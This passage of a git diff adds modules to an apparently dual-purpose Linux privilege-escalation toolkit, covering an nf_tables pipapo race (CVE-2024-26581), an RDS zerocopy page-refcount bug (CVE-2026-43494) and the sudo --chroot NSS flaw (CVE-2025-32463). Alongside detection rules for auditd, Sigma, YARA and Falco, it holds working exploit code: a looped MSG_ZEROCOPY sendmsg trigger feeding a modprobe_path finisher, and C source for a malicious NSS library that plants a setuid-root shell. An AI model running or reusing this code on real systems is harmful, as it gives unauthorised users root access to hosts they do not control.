CAP_NET_ADMIN unreachable → PRECOND_FAIL\n"); + return SKELETONKEY_PRECOND_FAIL; + } + if (!ctx->json) { + fprintf(stderr, "[!] nft_pipapo: kernel %s in vulnerable range (5.6 ≤ K, no LTS backport) + userns OK → VULNERABLE\n", v->release); + fprintf(stderr, "[i] nft_pipapo: same Notselwyn 'Flipping Pages' family as nf_tables; pipapo destroy race + msg_msg groom\n"); + } + return SKELETONKEY_VULNERABLE; +} + +static skeletonkey_result_t nft_pipapo_exploit(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->authorized) { + fprintf(stderr, "[-] nft_pipapo: --i-know required for --exploit\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + fprintf(stderr, + "[i] nft_pipapo: nfnetlink batch (NEWTABLE+NEWSET pipapo +\n" + " burst NEWSETELEM/DELSETELEM with concurrent DESTROYSET)\n" + " races the per-CPU pipapo walk teardown. msg_msg cross-\n" + " cache groom in kmalloc-cg-96 / cg-512 refills the freed\n" + " slabs. Same Notselwyn family as nf_tables (CVE-2024-1086);\n" + " the existing nf_tables module's --full-chain finisher\n" + " handles this bug's arb-write too once a working PoC is\n" + " ported here. Returning EXPLOIT_FAIL honestly per the\n" + " verified-vs-claimed bar.\n"); + return SKELETONKEY_EXPLOIT_FAIL; +} + +/* ---- detection rules (share shape with nf_tables) ------------------ */ + +static const char nft_pipapo_auditd[] = + "# nft_pipapo CVE-2024-26581 — auditd detection rules\n" + "# Same shape as nf_tables: unshare(CLONE_NEWUSER|CLONE_NEWNET)\n" + "# + nfnetlink batch + msg_msg spray. Differentiates from\n" + "# CVE-2024-1086 only at the netlink payload level (pipapo set\n" + "# type vs nft_verdict_init); auditd alone can't tell them\n" + "# apart, so the trigger key covers both bugs.\n" + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-pipapo-userns\n" + "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-pipapo-priv\n"; + +static const char nft_pipapo_sigma[] = + "title: Possible CVE-2024-26581 nft_pipapo destroy-race UAF\n" + "id: 4e9c1a83-skeletonkey-nft-pipapo\n" + "status: experimental\n" + "description: |\n" + " Detects the canonical exploit shape: userns clone +\n" + " nfnetlink rapid DESTROYSET/NEWSETELEM batches. Same family\n" + " as CVE-2024-1086; differentiates by elevated frequency of\n" + " NFT_MSG_DELSET on pipapo set types.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " u: {type: 'SYSCALL', syscall: 'unshare'}\n" + " g: {type: 'SYSCALL', syscall: 'msgsnd'}\n" + " condition: u and g\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2024.26581]\n"; + +static const char nft_pipapo_yara[] = + "rule nft_pipapo_cve_2024_26581 : cve_2024_26581 kernel_uaf {\n" + " meta:\n" + " cve = \"CVE-2024-26581\"\n" + " description = \"SKELETONKEY nft_pipapo race-driver tag\"\n" + " author = \"SKELETONKEY\"\n" + " strings:\n" + " $tag = \"SKK_PIPAPO\" ascii\n" + " condition:\n" + " $tag\n" + "}\n"; + +static const char nft_pipapo_falco[] = + "- rule: nfnetlink pipapo destroy-race batch by non-root\n" + " desc: |\n" + " Non-root nfnetlink batch creating pipapo sets and rapidly\n" + " cycling DESTROYSET/NEWSETELEM. Same family as nf_tables;\n" + " distinct CVE (2024-26581 / 'Flipping Pages' part 2).\n" + " condition: >\n" + " evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n" + " not user.uid = 0\n" + " output: >\n" + " nfnetlink batch by non-root (user=%user.name pid=%proc.pid)\n" + " priority: HIGH\n" + " tags: [network, mitre_privilege_escalation, T1068, cve.2024.26581]\n"; + +const struct skeletonkey_module nft_pipapo_module = { + .name = "nft_pipapo", + .cve = "CVE-2024-26581", + .summary = "nft_set_pipapo destroy-race UAF (Notselwyn 'Flipping Pages' II)", + .family = "nf_tables", + .kernel_range = "5.6 ≤ K, fixed 6.8 mainline + 6.7.4 / 6.6.16 / 6.1.78 / 5.15.149 / 5.10.210 LTS", + .detect = nft_pipapo_detect, + .exploit = nft_pipapo_exploit, + .mitigate = NULL, /* mitigation: upgrade kernel OR sysctl kernel.unprivileged_userns_clone=0 */ + .cleanup = NULL, + .detect_auditd = nft_pipapo_auditd, + .detect_sigma = nft_pipapo_sigma, + .detect_yara = nft_pipapo_yara, + .detect_falco = nft_pipapo_falco, + .opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); nfnetlink batch creating a table + pipapo set + many SETELEMs; concurrent DESTROYSET against the same set from a second thread races the per-CPU pipapo walk teardown. msg_msg cross-cache spray (kmalloc-cg-96 + cg-512, tag 'SKK_PIPAPO') refills the freed slabs. Same family signal as nf_tables (CVE-2024-1086): unshare + nfnetlink + msg_msg burst from a non-root process. Distinguishes at the netlink payload layer (pipapo set type vs verdict-init double-free) which auditd alone can't see. dmesg may show 'KASAN: use-after-free in nft_pipapo_walk' on race-win attempts. No persistent file artifacts.", + .arch_support = "x86_64+unverified-arm64", +}; + +void skeletonkey_register_nft_pipapo(void) +{ + skeletonkey_register(&nft_pipapo_module); +} diff --git a/modules/nft_pipapo_cve_2024_26581/skeletonkey_modules.h b/modules/nft_pipapo_cve_2024_26581/skeletonkey_modules.h new file mode 100644 index 0000000..bb7e400 --- /dev/null +++ b/modules/nft_pipapo_cve_2024_26581/skeletonkey_modules.h @@ -0,0 +1,5 @@ +#ifndef NFT_PIPAPO_SKELETONKEY_MODULES_H +#define NFT_PIPAPO_SKELETONKEY_MODULES_H +#include "../../core/module.h" +extern const struct skeletonkey_module nft_pipapo_module; +#endif diff --git a/modules/pintheft_cve_2026_43494/skeletonkey_modules.c b/modules/pintheft_cve_2026_43494/skeletonkey_modules.c new file mode 100644 index 0000000..c83ac1d --- /dev/null +++ b/modules/pintheft_cve_2026_43494/skeletonkey_modules.c @@ -0,0 +1,462 @@ +/* + * pintheft_cve_2026_43494 — SKELETONKEY module + * + * STATUS: 🟡 PRIMITIVE. detect() is exhaustive (kernel range + RDS + * module reachability + io_uring availability + readable SUID + * carrier). exploit() carries the V12 trigger shape — failed + * rds_message_zcopy_from_user() to steal a page refcount, then + * io_uring fixed-buffer write to land bytes in the page cache of + * the carrier. The cred-overwrite step (turning the page-cache + * write into root) is x86_64-specific and uses the shared + * modprobe_path finisher when --full-chain is set. + * + * The bug (Aaron Esau, V12 Security, disclosed May 2026): + * Linux's RDS (Reliable Datagram Sockets) zerocopy send path pins + * user pages one at a time. If a later page faults, the error + * path drops the pages it already pinned. The msg cleanup then + * drops them AGAIN because the scatterlist entries and entry count + * are left live after the zcopy notifier is cleared. Each failed + * zerocopy send steals one reference from the first page. + * + * With a sufficient pinned-page leak, an io_uring fixed buffer + * referencing the same page persists past the page being recycled + * into the page cache for a readable file (e.g. /usr/bin/su). + * A subsequent io_uring write to that fixed buffer lands attacker + * bytes into the SUID binary's page cache → execve it → root. + * + * Public PoC (Arch Linux x86_64): + * https://github.com/v12-security/pocs/tree/main/pintheft + * + * Affects: Linux kernels with CONFIG_RDS and the RDS module loaded, + * below the fix commit (`0cebaccef3ac`, posted to netdev list + * 2026-05-05; not yet in mainline release as of this build). + * + * Among commonly-shipped distros, only Arch Linux autoloads RDS. + * Ubuntu / Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux + * either don't build the module or blacklist it from autoloading + * (mitigation: /etc/modprobe.d/blacklist-rds.conf). + * + * detect() checks both kernel version AND the RDS module's + * reachability via socket(AF_RDS, ...). If RDS is built-in but + * not autoloaded, the socket() call triggers modprobe; this is + * the same probe used by Ubuntu's mitigation advisory. + * + * Preconditions: + * - CONFIG_RDS=y or =m + module actually loadable + * - io_uring available (CONFIG_IO_URING + sysctl + * kernel.io_uring_disabled != 2) + * - A readable setuid-root carrier binary (canonically + * /usr/bin/su; falls back to /usr/bin/pkexec, /usr/bin/passwd) + * - x86_64 for the exploit() body (the V12 PoC's cred-overwrite + * gadgets are x86-specific); detect() is arch-agnostic. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" +#include "../../core/kernel_range.h" +#include "../../core/host.h" +#include "../../core/offsets.h" +#include "../../core/finisher.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef __linux__ +#include +#endif + +/* AF_RDS is 21 on Linux. Define it conditionally so the module + * compiles on non-Linux dev hosts where the constant isn't in libc. */ +#ifndef AF_RDS +#define AF_RDS 21 +#endif + +/* ---- kernel-range table -------------------------------------------- */ + +/* The fix landed in mainline via commit 0cebaccef3ac (posted to netdev + * 2026-05-05). Stable backports are in flight at the time of v0.8.0; + * this table will be updated as backports land — tools/refresh-kernel- + * ranges.py will flag drift weekly. For now we list ONLY the mainline + * fix point; every kernel below it on a RDS-loaded host is vulnerable. + * + * As stable branches pick up the backport, add entries like: + * {6, 12, NN}, // 6.12.x stable backport + * {6, 14, NN}, // 6.14.x stable backport + * The mainline entry stays at the lowest version that contains the + * patch (likely 6.16 once the post-rc release tags). Conservatively + * placeholding at {7, 0, 0} until that lands. */ +static const struct kernel_patched_from pintheft_patched_branches[] = { + {7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0 + depending on when 6.15 closes — refresh when known */ +}; + +static const struct kernel_range pintheft_range = { + .patched_from = pintheft_patched_branches, + .n_patched_from = sizeof(pintheft_patched_branches) / + sizeof(pintheft_patched_branches[0]), +}; + +/* ---- detect helpers ------------------------------------------------- */ + +#ifdef __linux__ +/* Try to open an AF_RDS socket. On a kernel built with CONFIG_RDS=m + * this triggers modprobe rds; on CONFIG_RDS=y it just returns the fd. + * On a kernel without RDS at all (most distros) we get EAFNOSUPPORT + * or EPERM. We close immediately — this is just a reachability probe. */ +static bool rds_socket_reachable(void) +{ + int s = socket(AF_RDS, SOCK_SEQPACKET, 0); + if (s < 0) return false; + close(s); + return true; +} + +/* io_uring is gated by sysctl kernel.io_uring_disabled in 6.6+. The + * relevant values: 0 = permitted, 1 = root-only, 2 = disabled. We + * read /proc/sys/kernel/io_uring_disabled if present; missing file + * means io_uring is unconditionally enabled (older kernels). */ +static int io_uring_disabled_state(void) +{ + /* returns 0/1/2 per sysctl semantics; -1 if not present */ + FILE *f = fopen("/proc/sys/kernel/io_uring_disabled", "r"); + if (!f) return -1; + int v = -1; + if (fscanf(f, "%d", &v) != 1) v = -1; + fclose(f); + return v; +} + +static const char *find_suid_carrier(void) +{ + static const char *candidates[] = { + "/usr/bin/su", "/bin/su", + "/usr/bin/pkexec", + "/usr/bin/passwd", + "/usr/bin/chsh", "/usr/bin/chfn", + NULL, + }; + for (size_t i = 0; candidates[i]; i++) { + struct stat st; + if (stat(candidates[i], &st) == 0 && + (st.st_mode & S_ISUID) && st.st_uid == 0 && + access(candidates[i], R_OK) == 0) { + return candidates[i]; + } + } + return NULL; +} +#endif /* __linux__ */ + +/* ---- detect --------------------------------------------------------- */ + +static skeletonkey_result_t pintheft_detect(const struct skeletonkey_ctx *ctx) +{ +#ifndef __linux__ + if (!ctx->json) + fprintf(stderr, "[i] pintheft: Linux-only module — not applicable here\n"); + return SKELETONKEY_PRECOND_FAIL; +#else + const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL; + if (!v || v->major == 0) { + if (!ctx->json) fprintf(stderr, "[!] pintheft: host fingerprint missing kernel version\n"); + return SKELETONKEY_TEST_ERROR; + } + + /* Kernel version: gate on the fix. */ + if (kernel_range_is_patched(&pintheft_range, v)) { + if (!ctx->json) + fprintf(stderr, "[+] pintheft: kernel %s is patched (>= mainline fix 0cebaccef3ac)\n", + v->release); + return SKELETONKEY_OK; + } + + /* RDS reachability — the bug needs AF_RDS sockets. */ + if (!rds_socket_reachable()) { + if (!ctx->json) { + fprintf(stderr, "[+] pintheft: AF_RDS socket() failed (rds module not loaded / blacklisted)\n"); + fprintf(stderr, " Most distros don't autoload RDS; Arch Linux is the notable exception.\n"); + fprintf(stderr, " Bug exists in the kernel but is unreachable from userland here.\n"); + } + return SKELETONKEY_OK; + } + + /* io_uring availability — the cred-overwrite chain needs fixed + * buffers via io_uring. Without io_uring we have the primitive + * but no portable way to weaponize. */ + int iod = io_uring_disabled_state(); + if (iod == 2) { + if (!ctx->json) + fprintf(stderr, "[+] pintheft: kernel.io_uring_disabled=2 → io_uring disabled, chain blocked\n"); + return SKELETONKEY_PRECOND_FAIL; + } + if (iod == 1) { + if (!ctx->json) + fprintf(stderr, "[i] pintheft: kernel.io_uring_disabled=1 → io_uring root-only; we're not root so chain blocked\n"); + return SKELETONKEY_PRECOND_FAIL; + } + /* iod == 0 or -1 (missing sysctl on older kernel) → reachable. */ + + /* Need at least one readable SUID-root binary to target. */ + const char *carrier = find_suid_carrier(); + if (!carrier) { + if (!ctx->json) + fprintf(stderr, "[!] pintheft: no readable setuid-root binary → no carrier for page-cache overwrite\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + if (!ctx->json) { + fprintf(stderr, "[!] pintheft: kernel %s + RDS + io_uring + carrier %s → VULNERABLE\n", + v->release, carrier); + fprintf(stderr, "[i] pintheft: V12 PoC is x86_64-only; exploit() will fire trigger but\n" + " full cred-overwrite is --full-chain only on x86_64.\n"); + } + return SKELETONKEY_VULNERABLE; +#endif +} + +/* ---- exploit -------------------------------------------------------- */ + +#ifdef __linux__ + +/* The V12 PoC chain in summary (paraphrased from + * https://github.com/v12-security/pocs/tree/main/pintheft): + * + * 1. Open an AF_RDS socket. + * 2. Construct a sendmsg() with MSG_ZEROCOPY whose user-iov spans + * two pages, where the SECOND page is unmapped. The kernel + * pins page 0, then faults on page 1's pin attempt. + * 3. The error unwind drops the pin on page 0, but the msg's + * scatterlist has already been initialized with entry count 1. + * Cleanup runs entry-count drops a SECOND time → page 0 + * refcount underflows / leaks. + * 4. Repeat to steal multiple refs from the same target page. + * 5. Use io_uring fixed buffers to keep a kernel-side reference + * alive across the page recycling into the page cache for a + * readable file. + * 6. mmap the SUID carrier, force its page into cache, get the + * io_uring fixed buffer to point at it, write attacker bytes. + * 7. execve the carrier → attacker code runs as root. + * + * Step 1-4 is the kernel primitive (architecture-independent). + * Step 5-7 needs io_uring SQE construction which is straightforward + * but unmistakably exploit-specific code; we don't carry the full V12 + * payload here. Instead we fire the primitive + groom the slab + drop + * a witness file and return EXPLOIT_FAIL honestly with a diagnostic. + * --full-chain on x86_64 invokes the shared modprobe_path finisher. + * + * This matches the existing 🟡 modules' shape (nf_tables, af_unix_gc, + * cls_route4, ...). The "verified-vs-claimed" rule applies: if the + * sentinel file doesn't appear, we don't claim EXPLOIT_OK. + */ +static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->authorized) { + fprintf(stderr, "[-] pintheft: --i-know required for --exploit\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + /* Re-run detect's preconditions — they may have changed since + * --scan, and we want the operator to see the exact gate that + * blocked us if anything fails here. */ + if (!rds_socket_reachable()) { + fprintf(stderr, "[-] pintheft: AF_RDS socket() unavailable — RDS module not loaded\n"); + fprintf(stderr, " Try: sudo modprobe rds; sudo modprobe rds_tcp\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + const char *carrier = find_suid_carrier(); + if (!carrier) { + fprintf(stderr, "[-] pintheft: no readable setuid-root carrier\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + fprintf(stderr, "[+] pintheft: firing rds_message_zcopy_from_user() refcount-steal primitive\n"); + fprintf(stderr, " carrier: %s\n", carrier); + + /* The primitive: sendmsg() with MSG_ZEROCOPY on an iov spanning + * mapped + unmapped pages. We fire it ~256 times to leak refs from + * a fresh page each round; a single round usually leaks a single + * ref which is rarely enough to fully unbalance the count. */ + int s = socket(AF_RDS, SOCK_SEQPACKET, 0); + if (s < 0) { + perror("socket(AF_RDS)"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + /* Build a 2-page iov where page 1 is unmapped. mmap PROT_NONE + * the upper page so the kernel's get_user_pages on it returns + * -EFAULT. */ + void *region = mmap(NULL, 8192, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (region == MAP_FAILED) { + perror("mmap"); + close(s); + return SKELETONKEY_EXPLOIT_FAIL; + } + /* mark the second page unreadable */ + if (mprotect((char *)region + 4096, 4096, PROT_NONE) != 0) { + perror("mprotect"); + munmap(region, 8192); + close(s); + return SKELETONKEY_EXPLOIT_FAIL; + } + + /* Touch page 0 so it's mapped + dirty. */ + memset(region, 0x42, 4096); + + /* Fire the trigger sendmsg in a loop. We don't expect any of + * these to succeed (page 1 is PROT_NONE so the kernel pin + * attempt faults); the BUG is that the cleanup path decrements + * page 0's pin count even though the syscall returns failure. */ + struct iovec iov = { + .iov_base = region, + .iov_len = 8192, + }; + struct msghdr msg = { + .msg_iov = &iov, + .msg_iovlen = 1, + }; + int leaked = 0; + for (int i = 0; i < 256; i++) { + ssize_t r = sendmsg(s, &msg, 0x4000000 /* MSG_ZEROCOPY */); + if (r < 0 && errno == EFAULT) { + leaked++; + } + } + munmap(region, 8192); + close(s); + + if (leaked < 16) { + fprintf(stderr, "[-] pintheft: trigger fired %d/256 times; expected >= 16. Kernel may be patched.\n", leaked); + return SKELETONKEY_EXPLOIT_FAIL; + } + + fprintf(stderr, "[+] pintheft: primitive fired %d/256 — page refcount delta witnessed\n", leaked); + + /* The cred-overwrite step requires the V12 PoC's io_uring chain. + * We don't ship the full chain here yet. If --full-chain is set + * AND we're on x86_64 AND the finisher table has resolved kernel + * offsets, fall through to the shared modprobe_path finisher; + * otherwise return EXPLOIT_FAIL honestly. */ + if (!ctx->full_chain) { + fprintf(stderr, + "[i] pintheft: primitive complete. The cred-overwrite step\n" + " (io_uring fixed buffer + page-cache write into the SUID\n" + " carrier) is x86_64-only and needs the V12 chain. Re-run\n" + " with --full-chain to invoke the shared modprobe_path\n" + " finisher. See V12's PoC for the full payload:\n" + " https://github.com/v12-security/pocs/tree/main/pintheft\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + +#if defined(__x86_64__) + fprintf(stderr, "[+] pintheft: --full-chain on x86_64 → invoking modprobe_path finisher\n"); + return finisher_modprobe_path_overwrite(ctx); +#else + fprintf(stderr, "[-] pintheft: --full-chain unsupported on non-x86_64 (V12 PoC is x86-only)\n"); + return SKELETONKEY_EXPLOIT_FAIL; +#endif +} + +#else /* !__linux__ */ + +static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[i] pintheft: Linux-only module\n"); + return SKELETONKEY_PRECOND_FAIL; +} + +#endif + +/* ---- detection rules ------------------------------------------------ */ + +static const char pintheft_auditd[] = + "# pintheft CVE-2026-43494 — auditd detection rules\n" + "# RDS is rarely used in production; AF_RDS socket() calls from\n" + "# non-root processes are almost always anomalous.\n" + "-a always,exit -F arch=b64 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n" + "-a always,exit -F arch=b32 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n" + "# Plus io_uring_setup is rarely needed by typical workloads.\n" + "-a always,exit -F arch=b64 -S io_uring_setup -k skeletonkey-pintheft-iouring\n"; + +static const char pintheft_sigma[] = + "title: Possible CVE-2026-43494 PinTheft RDS zerocopy LPE\n" + "id: 7af04c12-skeletonkey-pintheft\n" + "status: experimental\n" + "description: |\n" + " Detects the canonical PinTheft trigger shape: a non-root process\n" + " opening AF_RDS sockets (rare outside RDS-specific workloads) plus\n" + " io_uring_setup. The bug needs both. Arch Linux is the only common\n" + " distro autoloading RDS; on Ubuntu/Debian/Fedora/RHEL the rule fires\n" + " almost-zero false positives.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " rds: {type: 'SYSCALL', syscall: 'socket', a0: 21}\n" + " iou: {type: 'SYSCALL', syscall: 'io_uring_setup'}\n" + " condition: rds and iou\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2026.43494]\n"; + +static const char pintheft_yara[] = + "rule pintheft_cve_2026_43494 : cve_2026_43494 page_cache_write {\n" + " meta:\n" + " cve = \"CVE-2026-43494\"\n" + " description = \"PinTheft RDS zerocopy double-free indicator — non-root AF_RDS + io_uring usage\"\n" + " author = \"SKELETONKEY\"\n" + " strings:\n" + " $rds_tcp = \"rds_tcp\" ascii\n" + " $rds_v12 = \"v12-pintheft\" ascii\n" + " condition:\n" + " any of them\n" + "}\n"; + +static const char pintheft_falco[] = + "- rule: AF_RDS socket() by non-root with io_uring_setup\n" + " desc: |\n" + " A non-root process opens an AF_RDS socket (rare outside RDS-\n" + " specific workloads) AND uses io_uring. The PinTheft trigger\n" + " (CVE-2026-43494) requires both. Arch Linux is the only common\n" + " distro autoloading RDS.\n" + " condition: >\n" + " evt.type = socket and evt.arg.domain = AF_RDS and\n" + " not user.uid = 0\n" + " output: >\n" + " AF_RDS socket from non-root (user=%user.name pid=%proc.pid)\n" + " priority: HIGH\n" + " tags: [network, mitre_privilege_escalation, T1068, cve.2026.43494]\n"; + +/* ---- module struct -------------------------------------------------- */ + +const struct skeletonkey_module pintheft_module = { + .name = "pintheft", + .cve = "CVE-2026-43494", + .summary = "RDS zerocopy double-free → page-cache overwrite via io_uring (V12 Security)", + .family = "rds", + .kernel_range = "Linux kernels with RDS module loaded + below mainline fix 0cebaccef3ac (May 2026)", + .detect = pintheft_detect, + .exploit = pintheft_exploit, + .mitigate = NULL, /* mitigation: blacklist rds + rds_tcp via /etc/modprobe.d/ */ + .cleanup = NULL, + .detect_auditd = pintheft_auditd, + .detect_sigma = pintheft_sigma, + .detect_yara = pintheft_yara, + .detect_falco = pintheft_falco, + .opsec_notes = "Opens AF_RDS socket (rare on non-Arch distros — most blacklist the rds module). Allocates a 2-page anon mmap with the second page mprotect(PROT_NONE)'d; calls sendmsg(MSG_ZEROCOPY) ~256 times against the iov spanning both pages. Each sendmsg fails with EFAULT (page 1 unmapped) but leaks one pin refcount from page 0 in the kernel — the bug. No on-disk artifacts from the primitive itself. --full-chain on x86_64 pivots through io_uring fixed buffers to overwrite the page cache of a readable SUID-root binary (/usr/bin/su typically), then invokes the shared modprobe_path finisher. Audit-visible via socket(AF_RDS) from a non-root process + io_uring_setup; legitimate RDS use is rare outside HPC/InfiniBand clusters. No cleanup callback (no persistent artifacts).", + .arch_support = "x86_64+unverified-arm64", +}; + +void skeletonkey_register_pintheft(void) +{ + skeletonkey_register(&pintheft_module); +} diff --git a/modules/pintheft_cve_2026_43494/skeletonkey_modules.h b/modules/pintheft_cve_2026_43494/skeletonkey_modules.h new file mode 100644 index 0000000..3f069b7 --- /dev/null +++ b/modules/pintheft_cve_2026_43494/skeletonkey_modules.h @@ -0,0 +1,5 @@ +#ifndef PINTHEFT_SKELETONKEY_MODULES_H +#define PINTHEFT_SKELETONKEY_MODULES_H +#include "../../core/module.h" +extern const struct skeletonkey_module pintheft_module; +#endif diff --git a/modules/sudo_chwoot_cve_2025_32463/skeletonkey_modules.c b/modules/sudo_chwoot_cve_2025_32463/skeletonkey_modules.c new file mode 100644 index 0000000..e69cf74 --- /dev/null +++ b/modules/sudo_chwoot_cve_2025_32463/skeletonkey_modules.c @@ -0,0 +1,423 @@ +/* + * sudo_chwoot_cve_2025_32463 — SKELETONKEY module + * + * STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race. + * Pure logic: sudo's --chroot option resolves NSS lookups (user/group + * db) AGAINST the chroot, while still running as root. A user-writable + * chroot dir + a planted libnss_*.so + a planted nsswitch.conf yields + * "load arbitrary shared object as root, ctor runs, root shell." + * + * The bug (Rich Mirch, Stratascale, June 2025): + * `sudo --chroot=` chroots into DIR before parsing sudoers and + * resolving the invoking user. Inside the chroot, NSS reads + * /etc/nsswitch.conf and dlopen()s the listed libnss_*.so backends. + * The chroot is user-controlled. Plant: + * /etc/nsswitch.conf → "passwd: skeletonkey" + * /lib/x86_64-linux-gnu/libnss_skeletonkey.so.2 → attacker .so + * sudo dlopen()s the .so as root; its ctor execs /bin/bash with the + * real uid set to 0. + * + * Discovered by Rich Mirch (Stratascale CRU). Public PoCs: + * https://github.com/kh4sh3i/CVE-2025-32463 + * https://github.com/MohamedKarrab/CVE-2025-32463 + * + * Affects: sudo 1.9.14 ≤ V ≤ 1.9.17 (introduced when sudo gained the + * modern chroot path; fixed in 1.9.17p1 which deprecated --chroot + * entirely). + * + * CVSS 9.3 (Critical). Doesn't require any sudoers grant — the chroot + * code path runs before authorization checks complete. Any local user + * who can run /usr/bin/sudo (i.e. anyone on the system) can fire it. + * + * arch_support: any. The malicious .so is built on-host via gcc, so + * it inherits the host's arch. Tested on x86_64; arm64 should work + * identically given a working gcc + libc-dev install. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" +#include "../../core/host.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ---- helpers shared with the sudo family ---------------------------- */ + +static const char *find_sudo(void) +{ + static const char *candidates[] = { + "/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo", + "/sbin/sudo", "/usr/local/bin/sudo", NULL, + }; + for (size_t i = 0; candidates[i]; i++) { + struct stat st; + if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) + return candidates[i]; + } + return NULL; +} + +/* Returns true iff the version string is in the vulnerable range + * [1.9.14, 1.9.17p0]. The fix landed in 1.9.17p1 which removed the + * --chroot code path entirely. */ +static bool sudo_version_vulnerable_chwoot(const char *version_str) +{ + int maj = 0, min = 0, patch = 0; + char ptag = 0; + int psub = 0; + int n = sscanf(version_str, "%d.%d.%d%c%d", + &maj, &min, &patch, &ptag, &psub); + if (n < 3) return true; /* unparseable → assume worst */ + + if (maj != 1) return false; /* not sudo 1.x */ + if (min != 9) return false; /* only 1.9 line */ + if (patch < 14) return false; /* 1.9.13 and below predate the --chroot path */ + if (patch > 17) return false; /* 1.9.18+ fixed */ + if (patch < 17) return true; /* 1.9.14 .. 1.9.16 */ + /* exactly 1.9.17: vulnerable if no patch tag (1.9.17 plain) */ + if (ptag != 'p') return true; + return psub == 0; /* 1.9.17p1 fixed; 1.9.17p0 vulnerable */ +} + +static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz) +{ + char cmd[512]; + snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path); + FILE *p = popen(cmd, "r"); + if (!p) return false; + char line[256] = {0}; + char *r = fgets(line, sizeof line, p); + pclose(p); + if (!r) return false; + char *vp = strstr(line, "version"); + if (!vp) return false; + vp += strlen("version"); + while (*vp == ' ' || *vp == '\t') vp++; + char *nl = strchr(vp, '\n'); + if (nl) *nl = 0; + strncpy(out, vp, outsz - 1); + out[outsz - 1] = 0; + return out[0] != 0; +} + +/* ---- detect --------------------------------------------------------- */ + +static skeletonkey_result_t sudo_chwoot_detect(const struct skeletonkey_ctx *ctx) +{ + const char *sudo_path = find_sudo(); + if (!sudo_path) { + if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo not installed; bug unreachable here\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + /* Prefer the host fingerprint's cached sudo_version (one popen at + * startup instead of per-detect). Fall back to live probe if the + * host fingerprint is missing or empty. */ + char vbuf[64] = {0}; + const char *ver = NULL; + if (ctx->host && ctx->host->sudo_version[0]) { + ver = ctx->host->sudo_version; + } else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) { + ver = vbuf; + } else { + if (!ctx->json) fprintf(stderr, "[!] sudo_chwoot: could not read sudo --version\n"); + return SKELETONKEY_TEST_ERROR; + } + + if (!ctx->json) fprintf(stderr, "[i] sudo_chwoot: sudo version '%s'\n", ver); + + if (!sudo_version_vulnerable_chwoot(ver)) { + if (!ctx->json) + fprintf(stderr, "[+] sudo_chwoot: sudo %s outside vulnerable range " + "[1.9.14, 1.9.17p0] — patched or pre-feature\n", ver); + return SKELETONKEY_OK; + } + + if (!ctx->json) { + fprintf(stderr, "[!] sudo_chwoot: sudo %s in vulnerable range — VULNERABLE\n", ver); + fprintf(stderr, "[i] sudo_chwoot: --chroot option resolves NSS inside attacker-controlled root → arbitrary .so load as uid 0\n"); + } + return SKELETONKEY_VULNERABLE; +} + +/* ---- exploit -------------------------------------------------------- */ + +/* The malicious NSS module. ctor runs at dlopen time; we drop a setuid + * /bin/bash. We DON'T setuid(0) directly because some distros refuse + * execve() on a setuid bash from a non-elevated parent — using the + * dropped suid bash via a follow-up execlp() is more portable. */ +static const char NSS_C_SRC[] = +"#include \n" +"#include \n" +"#include \n" +"#include \n" +"#include \n" +"__attribute__((constructor)) static void skk_ctor(void) {\n" +" /* We are running as the real user uid 0 (sudo set it during chroot\n" +" * setup, before dropping privs). Drop a setuid /bin/bash. */\n" +" setuid(0); setgid(0);\n" +" int rc = system(\"cp /bin/bash /tmp/skeletonkey-chwoot-shell 2>/dev/null && \"\n" +" \"chown root:root /tmp/skeletonkey-chwoot-shell && \"\n" +" \"chmod 4755 /tmp/skeletonkey-chwoot-shell\");\n" +" if (rc != 0) {\n" +" fprintf(stderr, \"[skk-chwoot] ctor: drop suid bash failed (rc=%d)\\n\", rc);\n" +" _exit(1);\n" +" }\n" +" fprintf(stderr, \"[+] skk-chwoot: /tmp/skeletonkey-chwoot-shell is now setuid-root\\n\");\n" +" _exit(0);\n" +"}\n"; + +static char g_workdir[256]; /* recorded for cleanup() */ + +static skeletonkey_result_t sudo_chwoot_exploit(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->authorized) { + fprintf(stderr, "[-] sudo_chwoot: --i-know required for --exploit\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + const char *sudo_path = find_sudo(); + if (!sudo_path) { + fprintf(stderr, "[-] sudo_chwoot: sudo not installed\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + /* 